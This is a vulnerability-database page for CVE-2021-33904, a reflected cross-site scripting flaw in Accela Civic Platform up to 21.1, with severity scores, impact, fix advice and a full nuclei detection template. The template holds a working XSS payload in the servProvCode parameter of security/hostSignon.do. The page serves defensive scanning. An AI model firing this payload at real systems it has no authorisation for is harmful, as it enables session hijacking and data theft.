HexBrain

Browse / CVEs / CVE-2021-33904

CVE-2021-33904· accela / civic platform· CWE-79

Accela Civic Platform <=21.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
10%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of Accela Civic Platform (version >21.1) that includes proper input validation to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9
Positive when: contains in header "text/html" AND contains "\"k3woq\"^confirm(document.domain)^\"a2pbrnzx5a9\"" and "servProvCode" AND status 200

Run it with nuclei: nuclei -id CVE-2021-33904 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-33904

info:
  name: Accela Civic Platform <=21.1 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Accela Civic Platform (version >21.1) that includes proper input validation to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49980
    - https://gist.github.com/0xx7/3d934939d7122fe23db11bc48eda9d21
    - http://packetstormsecurity.com/files/163093/Accela-Civic-Platorm-21.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33904
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-33904
    cwe-id: CWE-79
    epss-score: 0.09972
    epss-percentile: 0.95637
    cpe: cpe:2.3:a:accela:civic_platform:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: accela
    product: civic_platform
  tags: cve,cve2021,accela,xss,edb,packetstorm,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        words:
          - '"k3woq"^confirm(document.domain)^"a2pbrnzx5a9"'
          - 'servProvCode'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from